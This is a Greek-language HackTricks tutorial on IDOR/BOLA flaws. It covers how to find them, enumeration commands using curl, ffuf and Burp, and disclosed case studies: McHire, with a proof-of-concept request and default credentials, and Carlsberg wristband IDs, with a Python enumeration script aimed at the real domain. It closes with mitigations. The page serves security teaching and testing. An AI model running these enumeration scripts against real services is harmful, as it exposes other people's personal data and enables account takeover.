IDOR (Insecure Direct Object Reference)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν identifier που μπορεί να ελεγχθεί από τον χρήστη και ο οποίος χρησιμοποιείται άμεσα για να αποκτήσει πρόσβαση σε ένα εσωτερικό αντικείμενο χωρίς να επαληθεύεται ότι ο καλών έχει εξουσιοδότηση να έχει πρόσβαση/τροποποιήσει αυτό το αντικείμενο. Η επιτυχημένη εκμετάλλευση συνήθως επιτρέπει οριζόντια ή κάθετη privilege-escalation όπως η ανάγνωση ή τροποποίηση δεδομένων άλλων χρηστών και, στη χειρότερη περίπτωση, full account takeover ή mass-data exfiltration.


1. Εντοπισμός πιθανών IDORs

  1. Αναζητήστε παραμέτρους που αναφέρονται σε κάποιο αντικείμενο:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Προτιμήστε endpoints που διαβάζουν ή ενημερώνουν δεδομένα (GET, PUT, PATCH, DELETE).
  2. Παρατηρήστε όταν οι identifiers είναι σειριακοί ή προβλέψιμοι – αν το ID σας είναι 64185742, τότε πιθανώς υπάρχει το 64185741.
  3. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. “Paradox team members” link σε σελίδες σύνδεσης) που μπορεί να αποκαλύψουν επιπλέον APIs.
  4. Χρησιμοποιήστε μια πιστοποιημένη συνεδρία χαμηλών προνομίων και αλλάξτε μόνο το ID κρατώντας το ίδιο token/cookie. Η απουσία σφάλματος εξουσιοδότησης είναι συνήθως ένδειξη IDOR.

Γρήγορη χειροκίνητη τροποποίηση (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Αυτοματοποιημένη απογραφή (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Εντοπισμός προβλέψιμων download IDs (ffuf)

Τα authenticated file-hosting panels συχνά αποθηκεύουν per-user metadata σε έναν μόνο πίνακα files και εκθέτουν ένα download endpoint όπως το /download.php?id=<int>. Εάν ο handler ελέγχει μόνο αν το ID υπάρχει (και όχι αν ανήκει στον authenticated χρήστη), μπορείτε να σαρώσετε το χώρο των ακεραίων με το έγκυρο session cookie σας και να κλέψετε τα backups/configs άλλων tenants:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr αφαιρεί τα 404-style templates ώστε να μένουν μόνο τα πραγματικά hits (π.χ., IDs 54/150 leaking full site backups and signing material).
  • Η ίδια ροή εργασίας FFUF λειτουργεί με Burp Intruder ή έναν βρόχο curl—απλώς βεβαιώσου ότι παραμένεις authenticated ενώ αυξάνεις τα IDs.

Αυθεντικοποιημένη συνδυαστική απαρίθμηση (ffuf + jq)

Κάποια IDORs δέχονται multiple object IDs (π.χ., συνομιλίες μεταξύ δύο χρηστών). Αν η εφαρμογή ελέγχει μόνο ότι είσαι logged in, μπορείς να fuzz και τα δύο IDs ενώ κρατάς το session cookie σου:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

Χρησιμοποιήστε ένα jq φίλτρο που κανονικοποιεί κάθε ζεύγος (ταξινομεί τα στοιχεία) και κρατά μόνο το πρώτο εμφανιζόμενο για κάθε μοναδικό (unordered) ζεύγος.

Για λίστα ζευγών σε μορφή array-of-arrays, π.χ. [[“A”,“B”],[“B”,“A”],…]: jq ‘reduce .[] as $item ({}; ($item[0] as $a | $item[1] as $b | ($a < $b ? ($a+“|”+$b) : ($b+“|”+$a))) as $k | if has($k) then . else . + { ($k): $item } end) | [.[]]’

Για λίστα ζευγών σε μορφή array-of-objects με πεδία a και b, π.χ. [{“a”:“A”,“b”:“B”},{“a”:“B”,“b”:“A”},…]: jq ‘reduce .[] as $item ({}; ($item.a as $a | $item.b as $b | ($a < $b ? ($a+“|”+$b) : ($b+“|”+$a))) as $k | if has($k) then . else . + { ($k): $item } end) | [.[]]’

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Error-response oracle for user/file enumeration

Όταν ένα download endpoint δέχεται τόσο ένα username όσο και ένα filename (π.χ. /view.php?username=<u>&file=<f>), λεπτές διαφορές στα μηνύματα σφάλματος συχνά δημιουργούν ένα oracle:

  • Non-existent username → “User not found”
  • Bad filename but valid extension → “File does not exist” (sometimes also lists available files)
  • Bad extension → validation error

Με οποιαδήποτε authenticated session, μπορείτε να fuzz την παράμετρο username ενώ κρατάτε ένα benign filename και να φιλτράρετε με βάση τη φράση “user not found” για να ανακαλύψετε έγκυρους χρήστες:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Μόλις εντοπιστούν έγκυρα usernames, ζητήστε συγκεκριμένα αρχεία απευθείας (π.χ., /view.php?username=amanda&file=privacy.odt). Αυτό το μοτίβο συνήθως οδηγεί σε μη εξουσιοδοτημένη αποκάλυψη εγγράφων άλλων χρηστών και credential leakage.


2. Μελέτη Περίπτωσης στον Πραγματικό Κόσμο – McHire Chatbot Platform (2025)

Κατά τη διάρκεια αξιολόγησης του Paradox.ai-powered McHire recruitment portal εντοπίστηκε το ακόλουθο IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie για οποιονδήποτε λογαριασμό δοκιμής εστιατορίου
  • Body parameter: {"lead_id": N} – 8-ψήφιος, σειριακός αριθμητικός αναγνωριστής

Μειώνοντας το lead_id, ο tester ανέκτησε το πλήρες PII τυχαίων αιτούντων (όνομα, e-mail, τηλέφωνο, διεύθυνση, προτιμήσεις βάρδιας) καθώς και ένα consumer JWT που επέτρεψε session hijacking. Η Enumeration του εύρους 1 – 64,185,742 αποκάλυψε περίπου 64 million εγγραφές.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Σε συνδυασμό με τις default admin credentials (123456:123456) που παρείχαν πρόσβαση στον δοκιμαστικό λογαριασμό, η ευπάθεια οδήγησε σε μια κρίσιμη, σε επίπεδο εταιρείας διαρροή δεδομένων.

Μελέτη περίπτωσης – QR κώδικες βραχιολιών ως weak bearer tokens (2025–2026)

Flow: Οι επισκέπτες της έκθεσης παρέλαβαν βραχιολάκια με QR κώδικες· το σκανάρισμα του https://homeofcarlsberg.com/memories/ επέτρεπε στον browser να πάρει το εκτυπωμένο αναγνωριστικό βραχιολιού, να το κωδικοποιήσει σε hex και να καλέσει ένα backend cloudfunctions.net για να ανακτήσει αποθηκευμένα μέσα (φωτογραφίες/βίντεο + ονόματα). Δεν υπήρχε session binding ή έλεγχος ταυτότητας χρήστη — η γνώση του ID = εξουσιοδότηση.

Predictability: Τα αναγνωριστικά βραχιολιών ακολουθούσαν ένα σύντομο πρότυπο όπως C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Ο χώρος κλειδιών εκτιμήθηκε σε περίπου ~26M συνδυασμούς, κάτι που είναι εύκολα εξαντλήσιμο online.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Κατασκευή υποψήφιων ID (π.χ. [A-Z]-###-###). Χρησιμοποιήστε το Burp Intruder με επίθεση Pitchfork ή Cluster Bomb με θέσεις για το γράμμα και τα ψηφία. Προσθέστε έναν payload processing rule → Add prefix/suffix → payload encoding: ASCII hex ώστε κάθε αίτημα να μεταδίδει το hex string που περιμένει το backend.
  2. Response grep: Σημειώστε στο Intruder ένα grep-match για δείκτες που υπάρχουν μόνο στις έγκυρες απαντήσεις (π.χ. media URLs/JSON fields). Τα άκυρα ID συνήθως επέστρεφαν κενό array ή 404.
  3. Throughput measurement: Δοκιμάστηκαν ~1,000,000 ID σε ~2 ώρες από laptop (~139 req/s). Με αυτόν τον ρυθμό, ολόκληρος ο χώρος (~26M) θα καλυπτόταν σε ~52 ώρες. Η δοκιμαστική εκτέλεση αποκάλυψε ήδη ~500 έγκυρα βραχιολάκια (βίντεο + πλήρη ονόματα).
  4. Rate-limiting verification: Αφού ο vendor ισχυρίστηκε ότι υπήρχε throttling, επανέτρεξαν την ίδια διαμόρφωση Intruder. Ο ίδιος throughput/hit-rate απέδειξε ότι ο έλεγχος απουσίαζε/ήταν αναποτελεσματικός· η απαρίθμηση συνεχίστηκε χωρίς εμπόδιο.

Γρήγορη scriptable παραλλαγή (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Μάθημα: Η κωδικοποίηση (ASCII→hex/Base64) δεν προσθέτει εντροπία· μικρά IDs γίνονται bearer tokens που μπορούν να απαριθμηθούν παρά την επιφανειακή κωδικοποίηση. Χωρίς έλεγχο εξουσιοδότησης ανά χρήστη + secrets υψηλής εντροπίας, media/PII μπορούν να συλλεχθούν μαζικά ακόμα κι αν ισχυρίζονται “rate limiting”.


3. Επιπτώσεις του IDOR / BOLA

  • Οριζόντια κλιμάκωση – ανάγνωση/ενημέρωση/διαγραφή δεδομένων άλλων χρηστών.
  • Κάθετη κλιμάκωση – χρήστης με χαμηλά προνόμια αποκτά λειτουργίες μόνο για admin.
  • Μαζική παραβίαση δεδομένων αν τα αναγνωριστικά είναι σειριακά (π.χ. applicant IDs, invoices).
  • Κατάληψη λογαριασμού μέσω κλοπής tokens ή επαναφοράς κωδικών άλλων χρηστών.

4. Αντιμετώπιση & Καλές Πρακτικές

  1. Εφαρμόστε έλεγχο εξουσιοδότησης σε επίπεδο αντικειμένου σε κάθε αίτημα (user_id == session.user).
  2. Προτιμήστε έμμεσα, μη μαντευτά αναγνωριστικά (UUIDv4, ULID) αντί για auto-increment IDs.
  3. Εκτελέστε τον έλεγχο εξουσιοδότησης server-side, μην βασίζεστε ποτέ σε κρυφά πεδία φόρμας ή UI controls.
  4. Εφαρμόστε ελέγχους RBAC / ABAC σε κεντρικό middleware.
  5. Προσθέστε rate-limiting & logging για να εντοπίζετε την απαρίθμηση (enumeration) των IDs.
  6. Δοκιμάστε την ασφάλεια κάθε νέου endpoint (unit, integration, και DAST).

5. Εργαλεία

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks